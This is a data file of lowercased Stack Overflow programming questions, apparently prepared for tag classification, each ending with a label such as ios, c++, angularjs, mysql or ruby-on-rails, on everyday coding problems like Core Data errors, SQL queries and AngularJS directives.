[facebooksheet setinitialtext:@ switcher makes social networking easier  download it now from (link) :d  ];          //brings up the little share card with the test we have pre defind.         [self presentviewcontroller:facebooksheet animated:yes completion:nil];      } else {         //this alreat tells the user that they can t use built in socal interegration and why they can t.         uialertview *alertview = [[uialertview alloc] initwithtitle:@ sorry  message:@ you can t send a post right now  make sure you have logged into facebook aleady from your iphone settings  delegate:nil cancelbuttontitle:@ ok  otherbuttontitles:nil];         [alertview show];     }  }else if (buttonindex == 2) {      mfmailcomposeviewcontroller *mailcontoller = [[mfmailcomposeviewcontroller alloc]init];     [mailcontoller setmailcomposedelegate:self];     nsstring *email = @  ;     nsarray *emailarray = [[nsarray alloc]initwithobjects:email nil];     nsstring *message = @ hey download my application now ;     [mailcontoller setmessagebody:message ishtml:no];     [mailcontoller settorecipients:emailarray];     [mailcontoller setsubject:@  ];     [self presentviewcontroller:mailcontoller animated:yes completion:nil];      } </code></pre>,ios
text in html table cell not visible!  i have the following html and the text for the input  fg  is not visible.   <pre><code>&lt;td style= background-color: white; &gt; &lt;input id= normalday1  class= tsm_textbox  type= text  value= fg  size= 20  name= normalday1  style= background-color: white; /&gt; &lt;/td&gt; </code></pre>   i have checked for any color attributes in firebug but can t see any.    any ideas why     malcolm,html
when i want save data by using coredata getting error like the model used to open the store is incompatible with the one used to create the store  <a href= http://i.stack.imgur.com/1vcjv.png  rel= nofollow >enter image description here</a>    when i want save data by using coredata getting error like the model used to open the store is incompatible with the one used to create the store    for more details see image,ios
read sequence of hex values from ifstream using std::copy  consider a file containing a sequence of integers expressed in hex notation.  i can stream them in like this:   <pre><code>using namespace std; ifstream infile(fname); unsigned int i; vector&lt;unsigned int&gt; vals; while (infile &gt;&gt; std::hex &gt;&gt; i){     vals.push_back(i); } </code></pre>   what if i want to do the same thing with an <code>istream_iterator</code>    <pre><code>/// borks on hex: copy(istream_iterator&lt;unsigned int&gt;(infile)      istream_iterator&lt;unsigned int&gt;()  back_inserter(ref_data)); </code></pre>   is there a way to tell the <code>istream_iterator</code> how to assume hex notation,c++
undefined behaviour in theory and in practice  i have large c++ project written by someone else long time ago. it contains code like:   <pre><code>string cversion::getversionstr() const {   string ret;   char versionstr[100];   dword v1  v2  v3  build;   getversion(&amp;v1  &amp;v2  &amp;v3  &amp;build);   sprintf(versionstr   %d.%d.%d.%d   v1  v2  v3  build);   return string(versionstr); } </code></pre>   now i think because of wrong format specifier (<code>%d</code>) this code has undefined behaviour.    <code>dword</code> on my pc is declared as   <pre><code>typedef unsigned long dword; </code></pre>   my questions are:   <ul> <li>does code contain undefined behaviour </li> <li>is there any platform/situation where it would not be undefined behaviour  maybe it is fine for some values of v1   </li> <li><strong>the software has been working correctly for long time  so can it happen that in practice  despite above is undefined behaviour  the software still works fine </strong></li> </ul>   ps. this software was written something like 10 years ago using visual studio,c++
implementing two slidemenus in left side using mfslidemenu  i have two buttons. when i click on one button  it will go to the view controller and from that i m navigating using a left slide menu. my issue is that if i click the other button it should <em>also</em> navigate through the left slide menu - but i m able to navigate only the one view.,ios
can process.waitforinputidle() return false   i can t see how process.waitforinputidle() can return anything but true or throw an exception  but in <a href= http://msdn.microsoft.com/en-us/library/8d7363e2  rel= nofollow >documentation</a> for that method is stated :   <blockquote>    <strong>return value</strong>        type: system.boolean        true <strong>if</strong> the associated process has reached an idle state.  </blockquote>   that if is confusing me  is that only documentation copy / paste from <a href= http://msdn.microsoft.com/en-us/library/kcdbkyt4  rel= nofollow >overloaded version</a> of for method that have wait parameter or i am not understanding something      <strong>update</strong>    to clarify my question  i am aware how process.waitforinputidle() works  just courious if it can returns false in some conditions.,.net
how to inherit some attributes in directives  i m creating several directives (exorcises  fill-in-the-gaps  translations).    <pre><code>&lt;exercises mode= register  data= rows &gt;   &lt;fill-in-the-gaps&gt;&lt;/fill-in-the-gaps&gt;   &lt;translations&gt;&lt;/translations&gt; &lt;/exercises&gt; </code></pre>   i need to know how to inherit some attributes (mode  data) in directives child (fill-in-the-gaps  translations),angularjs
are .net exes real executables   i ve noticed in .net its extremely easy to reverse engineer exe s. is this because .net executables are merely instruction code for the .net engine  and because of this .net is an interpreted language  and never executed natively     i must admit  i ve never had any performance issues with .net code and so this is why i m in doubt.     could someone please explain this to me     thanks for the answers so far  does anyone know why microsoft decided to create this method of requiring a framework  if i remember correctly in the days of vb6 code was compiled to native. is there a very good reason for .net code having to run through an interpreter now>,.net
mysql insert into on duplicate key same value  when i update a value in mysql the affected rows is 0 when the value to be updated is the same as the new value  otherwise it is 1. what is the value of affected rows  when i use insert on duplicate key update in this situation. is it 0 or is it 2  i can t find it in the docs.,mysql
why does parenthesis needed for assignment in second part of conditional operator in c  the code below   <pre><code>i&gt;0 j=9:i=7; </code></pre>   is giving an error:   <blockquote>    lvalue required as left operand of assignment  </blockquote>   can you explain this why i am getting this error  when  <code>i&gt;0 j=9:(i=7);</code> is working correctly,c
best way to implement in angularjs list detail view hierarchy without reloading when going back  i ve the following hierarchy structure : group -> family -> products -> product details. each node is retrieve through an $http service.    i would like the user to be able to drill down until the final product details and i would also like no reloads when the user hits the back button as parents never changes.    i ve succeeded to build the first part using routes and it works pefectly but now each time i want to go back the controller of the parent view (last view) is reloaded and i don t know how to avoid this reloading.    i am thinking of changing my way of doing it by having only 1 view (while 4 before) and manage the drill down through a directive  do you think it could be considered as a good practice   how would you implement this,angularjs
sending file from android to server using http  i am trying to send a file from android client to server via <code>http</code>. the following is the error that shows up. what can i do about this    <pre><code>the type org.apache.james.mime4j.message.abstractbody cannot be resolved. it is indirectly referenced from required .class files </code></pre>   i have added the following to the libs folder   <pre><code>android-support-v4.jar apache-mime4j-0.6.jar commons-io-2.4.jar httpmime-4.0-beta1.jar </code></pre>,android
parallel $http calls using same object  i have the following function in a controller:   <pre><code>this.somefunction = function() {     var filter = {         type:  e      };      someservice.httppostfunction(filter).then(function(response) {         console.log(response);     });      filter.type =  h ;     someservice.httppostfunction(filter).then(function(response) {         console.log(response);     });      filter.type =  w ;     someservice.httppostfunction(filter).then(function(response) {         console.log(response);     }); }; </code></pre>   this is the <code>someservice.httppostfunction</code> :    <pre><code>httppostfunction: function(filter) {     var deferred = $q.defer();     var httppromise = $http.post(url filter)     .then(function(response) {         deferred.resolve(response.data);         }  function(error) {             deferred.reject(error.data);     });     return deferred.promise; } </code></pre>   the <code>someservice.httppostfunction</code> returns me different data based on <code>filter.type</code>. i want them to run in parallel. however  this function behaves as if the <code>filter.type</code> is set to <code> w </code> even on the first <code>httppostfunction</code> call.    creating copies of the <code>filter</code> variable  changing <code>type</code> of the copies and then passing the copies gives me correct results but this is not feasible. how do i get the code working correctly using the same variable,angularjs
checking if all elements in array are zero  i m having trouble determining if two words entered are anagrams.   <pre><code>#include &lt;stdio.h&gt; #include &lt;string.h&gt;  int main() {     char ch;     int letter_count[26] = {0};     int i;     int sum = 0;      printf( enter first word:  );     do     {        scanf( %c   &amp;ch);        letter_count[ch -  a ]++;     } while (ch !=  \n );     for(i = 0; i &lt; 26; i++)       printf( %d    letter_count[i]);     printf( \n );      printf( enter second word:  );     do     {        scanf( %c   &amp;ch);        letter_count[ch -  a ]--;     } while (ch !=  \n );     for(i = 0; i &lt; 26; i++)         printf( %d    letter_count[i]);     for(i = 0; i &lt; 26; i++)         if(letter_count[ch] != 0)             sum++;      if (sum == 0)         printf( anagrams );     else         printf( not anagrams ); } </code></pre>   i have to use the do while part of the code. i can enter the two words  and it prints out the elements in the array  so that  mattress  and  smartest  together would have all the elements be zero. however  i m having trouble with the last part  which is to use a third loop to check whether all the elements are zero.     i figured i could declare an int before hand and have it increment whenever an element wasn t zero  and i could just have any sum greater than zero not be an anagram. however  it always prints out anagram for me.,c
angular js static site pages  i am wondering what is the best approach for achieving the following requirements. the site has about 5 static pages with a potential for many more in the future. currently these pages are your typical web pages like home  about  company and so on. the site owner wants the login and signin forms to be modal window that animate in from the top. after authentication the user is redirected to the app which is an angular application.    normally the signin/login form would be views in angular. i am wondering how to i use angular to deal with the forms while the home page is not actually part of the angular app.     note the site owner whats the site to be on the same domain. so he doesn t want a static site that redirects to the app once the login/signin button is selected.    thank you for any advice.,angularjs
allowed memory size is being exhausted and i need help figuring out why  i currently use godaddy for hosting my website and i recently checked my error_log and i keep getting this error:    php fatal error:  allowed memory size of 67108864 bytes exhausted (tried to allocate 19648 bytes) in /home/jringeisen/public_html/bookling.co/includes/thumb.class.php on line 16    this is the default resource limit that godaddy has set:    resource limits memory_limit    maximum amount of memory a script may consume (32mb)    64m    from what i understand this is more then enough  i need help pin pointing where the error is. i ran error_reporting(e_all); ini_set( display_errors   1); on all my image upload files and received no errors. i don t want to increase the memory size  from what i understand that doesn t fix the problem. i know there are multiple questions on this exact error but i have yet to be able to find an answer that helped fix the problem.   <pre><code>&lt;  class thumb{ function thumb(){} /********************************************** * $name: orginal file name * $filename: thumb file name * $new_w: new proposed width * $new_h: new proposed height **************************************************/ function createthumb($name $filename $new_w $new_h)    { /*     echo $name ;    echo  &lt;br&gt; ;    echo $filename ;     die(); */      if (preg_match( /\\.jpg$/  strtolower($name))){$src_img=imagecreatefromjpeg($name);}         if (preg_match( /\\.jpeg$/  strtolower($name))){$src_img=imagecreatefromjpeg($name);}         if (preg_match( /\\.png$/  strtolower($name))){$src_img=imagecreatefrompng($name);}         if (preg_match( /\\.gif$/  strtolower($name))){$src_img=imagecreatefromgif($name);}          $old_x=imagesx($src_img);         $old_y=imagesy($src_img);                      if ($old_x &gt; $old_y)                      {                         $rat = $old_y/$old_x*100;                         $thumb_w=min($new_w $old_x);                         $thumb_h = floor($thumb_w * $rat / 100);                     }                     else                     {                         $rat = $old_x/$old_y*100;                         $thumb_h=min($new_h $old_y);                         $thumb_w = floor($thumb_h * $rat / 100);                      }           $dst_img=imagecreatetruecolor($thumb_w $thumb_h);           imagecopyresampled($dst_img $src_img 0 0 0 0 $thumb_w $thumb_h $old_x $old_y);          if (preg_match( /\\.png$/  strtolower($name)))         {             imagepng($dst_img $filename);          } else if (preg_match( /\\.jpg$/  strtolower($name)) || preg_match( /\\.jpeg$/  strtolower($name)) ) {             imagejpeg($dst_img $filename);          }else if (preg_match( /\\.gif$/  strtolower($name))) {             imagegif($dst_img $filename);          }         imagedestroy($dst_img);          imagedestroy($src_img);         }//end function   }          &gt; </code></pre>,php
how to directly call in mobile by pressing link  i am trying to allow user call in mobile phones as in   <pre><code>&lt;a href= tel:1-408-555-5555 &gt;1-408-555-5555&lt;/a&gt; </code></pre>   such that when user press the link  then it not only opens the number for calling but actually makes the call too at the same time (aka saves user one step to press button).    also i need to add an extra code number (lets say 2525 ) dialled when call is connected. is that possible  this is html5 website.,html
find the height of dynamically created div  neither of the properties clientheight and offsetheight has worked out for me while i try to determine the height of the div created dynamically. could someone suggest alternative please  thanks a ton in advance.,javascript
rails 3.x i made the mistake of using the asset_sync gem and now my application does not display any css on heroku  i am extremely confused.  made a big mistake of using the asset_sync gem and now my assets are not being used in production with heroku.  prior to installing the gem and following the documentation  my site was working perfectly in production.  at this point  i don t even want to use this gem at all anymore.  i have removed the gem  but for some reason heroku is still calling my css/js files under their aliases that i had originally stated in my production.rb file.  i have reverted back to my code in production.rb to before i ever installed the gem and went through the steps that were described in the documentation.  my question:  how can i possibly find/remove what is causing my css and js to not work in heroku   i apologize if i am missing any vital information in my post as it is my first time posting on this site.,ruby-on-rails
find the reversal transactions in my table  i have a table data like the bellow    <pre>date       amount   01022017   300 <b>01052017   -300</b> 03042016   200 06112016   400 <b>05042016   -200</b> 30012016   150</pre>   i need only the list like below (the negatives are reversals happen to those transactions).    my expected result like    <pre><code>date       amount   06112016   400 30012016   150 </code></pre>   i need to avoid the reversal transactions. but here in my table i don t have any reference column to indicate the transaction as reversal or normal transaction.,sql
how do i add a field after i ve run rails generate model/scaffold   let s say i forgot to add a field to my model. how do i go about adding it cleanly  do i need to re-run rails generate or can i edit a file somewhere,ruby-on-rails
anguarl 1.63 ui-router 1.0 local transition hook like effect  i have need of a <em>local</em> transition hook event. for example    when <em>controller a</em> is instantiated i want all transitions from state <em>foo</em> to state <em>foo.bar</em> to be logged. when i look at <a href= https://ui-router.github.io/ng1/docs/latest/modules/transition.html  rel= nofollow noreferrer >transition api</a>   the ui routers abilit is on for <em>global</em> transition hooks. i want to achieve a transition hook locally  i want that hook destroyed when the controller is destroyed.      the answer doesnt have to be a transition hook  it can be anything that gets destroyed when the controller is destroyed.     i have tried every variation method on <em>$transition</em> service  to no avail. does anyone have any suggestions,angularjs
python decimal precision  for some reason decimal object looses precision when multiplied. there is no reason to happen so. please check the testcase and enlighten me.   <pre><code>from decimal import * getcontext().prec = 11  a = decimal( 5085.28725881485 ) b = 1  print getcontext() print  a     =  +str(a) print  b     =  +str(b) print  a * b =  +str(a * b) </code></pre>   and the output:   <pre><code>context(prec=11  rounding=round_half_even  emin=-999999999  emax=999999999  capitals=1  flags=[]  traps=[divisionbyzero  invalidoperation  overflow]) a     = 5085.28725881485 b     = 1 a * b = 5085.2872588 </code></pre>   not sure if this is relevant  but python2.6 used.,python
rails 3 console having clause with two conditions  i looking for users who might have multiple accounts. the following query from the console works:   <pre><code>user.find(:all  :group =&gt; :email  :having =&gt;  count(*) &gt;1 ) </code></pre>   however  there are some accounts that have an email of  nil  which i would like to exclude. i tried:   <pre><code>user.find(:all  :group =&gt; :email  :having =&gt;  count(*) &gt;1 and email is not nil ) </code></pre>   ...without success.,ruby-on-rails
on select from list  text from text box not appearing by ng-model  1) click on list    2) press enter in text box. then in console it should print text box value    here is the code:    <a href= https://jsfiddle.net/ryarjnfe/6/  rel= nofollow >jsfiddle</a>   <pre><code>    &lt;div ng-app= app &gt;       &lt;form class= navbar-form navbar-left ng-scope  ng-submit= click(select)  ng-controller= one &gt;         &lt;input ng-model= select &gt;              &lt;ul class= datalist ng-pristine ng-valid  id= selectclientlist  ng-model= getselect  style= display: block; top: 42px; left: 15px; width: 195px; opacity: 1; &gt; &lt;li class= ng-binding ng-scope &gt;5 takes&lt;/li&gt; &lt;li class= ng-binding ng-scope &gt;ap trail mix&lt;/li&gt; &lt;li class= ng-binding ng-scope &gt;ax&lt;/li&gt;&lt; li class= ng-binding ng-scope &gt;air new zealand&lt;/li&gt; &lt;li class= ng-binding ng-scope &gt;american legacy foundation&lt;/li&gt; &lt;li class= ng-binding ng-scope &gt;amway&lt;/li&gt; &lt;li class= ng-binding ng-scope &gt;animal planet meerkats&lt;/li&gt; &lt;/ul&gt;            &lt;/form&gt;     &lt;/div&gt; </code></pre>   css:   <pre><code>angular.module( app   [])     .controller( one   function($scope) {         $scope.click = function() {             console.log($scope.select);         }     });   // from like query plugin  $( ul li ).on( click   function(){     $( input ).val($(this).text()); }); </code></pre>,angularjs
can an interface hold any instance variables   can an interface hold any instance variables  in my instructor s specs  it says no instance variables are allowed in interface. but i ve researched and some say that it can only contain <code>final</code> instance variable. if it can hold a <code>final</code> instance variable  so what role can that variable play at all in an interface  thanks in advance!,java
tooltip in c# form does not appear when switching computers  hi i am having a very strange problem. i have a form with multiple tooltips that appear when the mouse is over a specific control. so far i was developing the form on a windows 7 machine and everything were going fine. tonight i tested my executable on my other windows 7 machine (same version and service pack) but none of the tooltips are working.    does anybody have an idea what might be the problem  bellow i am giving the code for one such tooltip   <pre><code>    tooltip urlnameinputballontip = new tooltip();     private void checkforurl()     {         urlnameinputballontip.isballoon = true;         if (isvalidhttpuri(urlnameinput.text) == false &amp;&amp; isvalidhttpsuri(urlnameinput.text) == false)         {             urlnameinputballontip.settooltip(urlnameinput   this is not a valid url!\r\nex. \ http://domain\  );             urlnameinputballontip.show( this is not a valid url!\r\nex. \ http://domain\    urlnameinput  urlnameinput.width / 2  urlnameinput.height  5000);         }         else         {             urlnameinputballontip.hide(this);          }     } </code></pre>,c#
error in nested resources in rails 3  my routes.rb   <pre><code>resources :post do       resources :answers do         resources :anscomments       end     end </code></pre>   models    <strong>post.rb</strong>   <pre><code>has_many :answers </code></pre>   <strong>answer.rb</strong>   <pre><code>belongs_to :post has_many :anscomments </code></pre>   <strong>anscomment.rb</strong>   <pre><code>belongs_to :answer </code></pre>   controller    <strong>answers_controller.rb</strong>   <pre><code>class answerscontroller &lt; applicationcontroller   def create     @post = post.find(params[:post_id])     @answer = @post.answers.create(params[:answer])     redirect_to post_path(@post)   end end </code></pre>   <strong>anscomments_controller.rb</strong>   <pre><code>class anscommentscontroller &lt; applicationcontroller   def create     @answer = answer.find(params[:answer_id])     @anscomment = @answer.anscomments.create(params[:anscomment])     redirect_to post_path(@answer)   end end </code></pre>   views    <strong>view/post/show.html.erb</strong>   <pre><code>&lt;table align=center width= 60%  bordercolor= black &gt;      &lt;tr&gt;         &lt;td align= center &gt;             &lt;h2&gt;                 &lt;%=@post.title%&gt;              &lt;/h2&gt;         &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td align= center &gt;             &lt;h3&gt;&lt;%=@post.body%&gt;&lt;/h3&gt;         &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;         &lt;td align= center &gt;             this post comes under:&lt;%=@post.tag%&gt;         &lt;/td&gt;     &lt;/tr&gt;  &lt;/table&gt; &lt;br /&gt; &lt;h2 align= center &gt;answers&lt;/h2&gt; &lt;div align= center &gt;     &lt;% @post.answers.each do |answer| %&gt;     &lt;table width= 50%  border= 1 &gt;         &lt;tr&gt;             &lt;td align= center &gt;                 &lt;%= answer.body %&gt;             &lt;/td&gt;         &lt;/tr&gt;            &lt;div align= center &gt;             &lt;% @answer.anscomments.each do |anscomment| %&gt;             &lt;table width= 40%  %&gt;                 &lt;tr&gt;                     &lt;td&gt;                         &lt;%= anscomment.body %&gt;                     &lt;/td&gt;                 &lt;/tr&gt;             &lt;/table&gt;             &lt;%end%&gt;         &lt;/div&gt;         &lt;div align= center &gt;             &lt;%= form_for([@answer @answer.anscomments.build]) do |f| %&gt;             &lt;table&gt;                 &lt;tr&gt;                     &lt;td&gt;&lt;%= f.text_area :body %&gt;&lt;/td&gt;                 &lt;/tr&gt;                 &lt;tr&gt;                     &lt;td&gt;&lt;%= f.submit  submit comment  %&gt;&lt;/td&gt;                 &lt;/tr&gt;             &lt;/table&gt;             &lt;%end%&gt;         &lt;/div&gt;        &lt;/table&gt;     &lt;% end %&gt; &lt;/div&gt; &lt;br /&gt; &lt;h2 align= center &gt;your answer&lt;/h2&gt; &lt;div align= center &gt;     &lt;%= form_for([@post  @post.answers.build]) do |f| %&gt;     &lt;table&gt;         &lt;tr&gt;             &lt;td&gt;&lt;%= f.text_area :body %&gt;&lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td&gt;&lt;%= f.submit  post your answer  %&gt;&lt;/td&gt;         &lt;/tr&gt;     &lt;/table&gt;     &lt;% end %&gt; &lt;/div&gt; </code></pre>   when i tried to click on individual post i am getting an error like---- undefined method `anscomments  for nil:nilclass     please find a solution.....,ruby-on-rails
argument  1 : conversion from  string  to  system.io.fileinfo  not possible  i m new to c# so its possibly a dumb question  sorry for that :d    when i try to use the method <code>encrypt( c:\\test\testfile.txt    testpwd )</code>    it says:   <blockquote>    argument  1 : conversion from  string  to  system.io.fileinfo  not   possible.  </blockquote>   i don t know why it cant just change it into a <code>system.io.fileinfo</code>. when i do the same with a random password (where i have a method to) it will say that it is impossibele to transform a <code>system.random</code> to a string. can anyone tell me why  thank you in advance. (sorry for my english)   <pre><code>using system; using system.windows.forms; using system.io; using system.security.cryptography;  namespace project_hermes {     static class program     {         /* private static random password = new random();          public static string randomstring(int length)          {              const string chars =  abcdefghijklmnopqrstuvwxyz0123456789 ;              return new string(enumerable.repeat(chars  length)                .select(s =&gt; s[password.next(s.length)]).toarray());          }*/          [stathread]         static void main()          {             string curfile =  c:\\oot26\\encrypd.txt ;                if (file.exists(curfile))             {                 application.enablevisualstyles();                 application.setcompatibletextrenderingdefault(false);                 application.run(new form1());              } else             {                 encrypt(curfile   password );                  //console.writeline(password);                  directory.createdirectory( c:\\oot26 );                  file.create(curfile);                  application.enablevisualstyles();                 application.setcompatibletextrenderingdefault(false);                 application.run(new form1());             }         }          private const int saltsize = 8;          public static void encrypt(fileinfo targetfile  string password)         {             var keygenerator = new rfc2898derivebytes(password  saltsize);             var rijndael = rijndael.create();             rijndael.iv = keygenerator.getbytes(rijndael.blocksize / 8);             rijndael.key = keygenerator.getbytes(rijndael.keysize / 8);              using (var filestream = targetfile.create())             {                 filestream.write(keygenerator.salt  0  saltsize);                  using (var cryptostream = new cryptostream(filestream  rijndael.createencryptor()  cryptostreammode.write))                 {                 }             }         }          /*public static void decrypt(fileinfo sourcefile  string password)         {             var filestream = sourcefile.openread();             var salt = new byte[saltsize];             filestream.read(salt  0  saltsize);             var keygenerator = new rfc2898derivebytes(password  salt);             var rijndael = rijndael.create();             rijndael.iv = keygenerator.getbytes(rijndael.blocksize / 8);             rijndael.key = keygenerator.getbytes(rijndael.keysize / 8);             using (var cryptostream = new cryptostream(filestream  rijndael.createdecryptor()  cryptostreammode.read))             {             }*/         }      } } </code></pre>,c#
sql select statement with having and or  i have a table which has some users in it. they all have a username  latitude longitude and some other fields.     i want to select all users within 5km range of a given coordinate and based on some other criteria. now this part was not hard.     however  i also want the sql statement to return users with given usernames independently from the other criterias mentioned above.    so  basically  the sql should return users based on the distance and other criterias and users who have a specific username despite if they match the criterias or no.    here is what i have  but it does not work:   <pre><code>select iduser        username         telephone        latitude        longitude        ( 6371 * acos( cos( radians( ) ) * cos( radians( latitude ) ) * cos( radians( longitude ) - radians( ) ) + sin( radians( ) ) * sin( radians( latitude ) ) ) ) as distance    from main   where active =       and iduser !=    having distance &lt; 5      or username = mike      or username = john </code></pre>,mysql
how to use string.h file in a c program  i am trying to compile a c program that uses the string.h header file on rhel linux 7.3 workstation using the compiler provided by development tools suite of rhel. the gcc version is 4.8.5. the string.h file was installed by the system into the <code>/usr/include/</code> directory by the system when i installed development tools suite. when i tried to compile the program i get the following error:   <pre><code>in file included from all.c:15:0: /usr/include/string.h:409:14: error: expected identifier or ‘(’ before string constant  extern char *strerror (int __errnum) __throw; </code></pre>   can somebody explain me what is wrong with the   or is the header file only compatible with c++      figured out what the problem was. gcc compiler flags were set up incorrectly and as such the compiler was not able to compile it. the code that i was trying to compile was related to xmt motif library.     i understand why the question was downvoted and will try to conform to the rules of the site in the future. thank you all !,c
how to tell what is inside a javascript object  i have an object.  if i just do an alert on it  it shows this: [object htmlinputelement] but doesn t show the value.  if i do this   <pre><code>document.getelementbyid( rout_markers ).value </code></pre>   then it shows nothing.  does that mean it isn t set at all   whats the best way to check if it is null,javascript
angular cannot read property  tostring  of null in httprequest  i m making an http get request this way:   <pre><code>this.http.get( http://www.overpass-api.de/api/xapi *[amenity=hospital][bbox=13.20524 43.70861 13.22842 43.72338] ) .subscribe( data =&gt; {     console.log(data.tostring());  }); </code></pre>   but the following error is given:   <pre><code>cannot read property  tostring  of null </code></pre>   i ve also tried mapping the result this way:   <pre><code>this.http.get( http://www.overpass-api.de/api/xapi *[amenity=hospital][bbox=13.20524 43.70861 13.22842 43.72338] ) .map(res =&gt; res.tostring()) .subscribe( data =&gt; {     console.log(data);  }); </code></pre>   but the error remains. why is it saying that it s null  since i use the method inside subscribe function <br> also  if i go to <code>http://www.overpass-api.de/api/xapi *[amenity=hospital][bbox=13.20524 43.70861 13.22842 43.72338]</code> the xml file i get is not null.,angularjs
how to convert a json object into an angular object   how can i make a long string into a key value pair  my json object is:   <pre><code>column = {    column_name :  id      table_name :  calls      full_column_name :  calls.id      checked : false } </code></pre>   and i want:   <pre><code>$scope.x = {   column_name:  id     table_name:  calls     full_column_name:  calls.id     checked: false } </code></pre>,angularjs
how to dynamically add class fields at runtime in java <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/14442998/how-to-dynamically-add-properties-to-class >how to dynamically add properties to class</a>    </blockquote>     i would like to know is their any way to add fields to my entity class in java  dynamically  or is their any alternative way of doing this  we are developing a framework and our existing products has this as a requirement.    example:   <pre><code>class entity1 {     string name;     string age;      // getters/setters; } </code></pre>   suppose i want to add another field to my <code>entity1</code> class (eg: <code>designation</code>)  is their any way to add it dynamically/at runtime  so that if my client asks me to add any other properties i can do it with less alteration of code     waiting for your reply. any suggestions are welcome.,java
infinite broadcast while location change  i have make a function in activity   <pre><code>if (locationmanager != null &amp;&amp; pendingintent != null) {    locationmanager.removeupdates(pendingintent); } intent intent = new intent( com.app.android.tracker.location_ready ); pendingintent = pendingintent.getbroadcast(getapplicationcontext()              0  intent  pendingintent.flag_update_current);  //register for broadcast intents locationmanager.requestlocationupdates(provider 120000 0 pendingintent); } </code></pre>   and in broadcast receive i have do   <pre><code>public class locationreceiver extends broadcastreceiver {     @override     public void onreceive(context context  intent intent) {          logger.debug( locationreceiver-&gt;onrceive );         bundle b = intent.getextras();         location loc = (location)b.get(android.location.locationmanager.key_location_changed);         logger.debug( loc: +loc);         if(loc != null){             //         }     } } </code></pre>   and in manifest i have do   <pre><code>&lt;receiver android:name= .locationreceiver &gt;             &lt;intent-filter&gt;                 &lt;action android:name= com.app.android.tracker.location_ready  /&gt;                 &lt;category android:name= android.intent.category.default  /&gt;             &lt;/intent-filter&gt;  &lt;/receiver&gt; </code></pre>   now my problem is while any location is update it do infinitely broadcast n my emulator is hang. and some time it gives null location,android
check if client press on option tag  i need to check if isset $_post of  option  tag.    for example  to know when the client pressed on  select  tag i m doing this:   <pre><code>&lt; php  if (isset($_post[ select_tag ])) {     echo  the client pressed on the select tag ; }   &gt;  &lt;form method= post &gt;     &lt;select name= select_tag &gt;         &lt;option value= 1 &gt;1st&lt;/option&gt;         &lt;option value= 2 &gt;2nd&lt;/option&gt;         &lt;option value= 3 &gt;3rd&lt;/option&gt;     &lt;/select&gt; &lt;/form&gt; </code></pre>   i need to know if the client press on value 1  2 or 3  there is a way to check it,php
selecting rows which are not null in sql  why doesn t the following code work in sql   <pre><code>select *  from data where value != null; </code></pre>,sql
mysql select first then limit  how can i select the newest 5 rows from mysql (newest by id for example) then order them asc or desc       the problem is i have 1 2 3 4 5 6 7   i want to select the newest 2 for example (6 7) then order them asc or desc (6 7 or 7 6)   but if i use the orderby then the limit it would be (1 2) or (7 6)   is there anyway to do it from one sql statement      thank you,mysql
extract customers with same hobbies with mysql query <pre><code>customer id | hobby </code></pre>   i would like to use mysql query to extract customers which have the same hobbies.<br> if someone has more hobbies we have one row for each hobby.    it is easy to use   <pre><code>select customer_id  from customers where hobby= football  </code></pre>   my problem is that i want to search for two hobbies.    for example  <code>football</code>  and  <code>swimming</code>   and the query must result only the customers which have both.     is it possible to do it with query or should i use stored procedure and how,mysql
how to combine getelementbytagname and getelementbyclass using javascript  i am trying to make my selector so when it gets the class of transform with the tagname with p  it will do some event in my case it is mouse hovering but i am having trouble with it.    i know there are jquery solutions but i am doing it with pure javascript. here is the code below currently   <pre><code>var hoverevent = document.getelementsbytagname( p ).getelementsbyclassname( transform );     for (let i = 0; i &lt; hoverevent .length; i++) {     hoverevent [i].onmouseover=function() {         this.style.color =  yellow ;      // changes paragraph with class of transform to yellow during hover     } }  // end for        for (let i = 0; i &lt; hoverevent .length; i++) {     hoverevent [i].onmouseout=function() {         this.style.color =  black ;  // changes it back to black      } }                    </code></pre>,javascript
show log out if user logged in.  i have set up a php login form within dreamweaver. when dreamweaver inserted the code it worked fine but what i want my head.php file to do is detect if user is logged in. if the user is logged in i want it to display logout and if they are not logged in to display login. this is what i have tried..:   <pre><code>if ($isvalid = true) {     include  head/hp1.php ;      &gt;     login     &lt; php     include  head/hp2.php ; } else {         include  head/hp1.php ;      &gt;     logout     &lt; php     include  head/hp2.php ; } </code></pre>   <a href= http://bit.ly/1naqwuo  rel= nofollow >this</a> is the full code.,php
how is this value calculated  <pre><code>#define     no          14022014l  unsigned long pack(unsigned long num){     unsigned long tmp;     unsigned char *s=null;     int k = 0;     int sz_long = sizeof(unsigned long);      if (num ) {         tmp=0l;         s = (unsigned char *) &amp;tmp;         while(sz_long){             k=(--sz_long)&lt;&lt;3;             printf( k = %d\n   k);             k=(int)(num &gt;&gt; k );             printf( k=num &gt;&gt; k=%d\n   k);             k=k &amp; 0xff;             printf( k=k &amp; 0xff=%d\n   k);             *s++ = (unsigned char) k;             printf( tmp = %lu\n   tmp);         }         return tmp;     }     return num; }   int main(void){     unsigned long t;     t=pack(no);     if ( t) {         printf( t = %lu\n   t);     }     return 0; } </code></pre>  <h2>output</h2>  <pre><code>pack k = 24 k=num &gt;&gt; k=0 k=k &amp; 0xff=0 tmp = 0 k = 16 k=num &gt;&gt; k=213 k=k &amp; 0xff=213 tmp = 54528              // how   k = 8 k=num &gt;&gt; k=54773 k=k &amp; 0xff=245 tmp = 16110848            // how   k = 0 k=num &gt;&gt; k=14022014 k=k &amp; 0xff=126 tmp = 2130040064          // how    main() t = 2130040064 </code></pre>   q: how the value to tmp calculated,c
aspx ~ problem with js  why in aspx ~ not working when i try to use it in js   <pre><code>&lt;script type= text/javascript  src= ~/js/jquery/jquery-ui.min.1.7.3.js &gt;&lt;/script&gt;  </code></pre>   in source code is the same ~/js    but with css works   <pre><code>&lt;link href= ~/css/confirm.css  rel= stylesheet  type= text/css  media= screen  /&gt; </code></pre>,asp.net
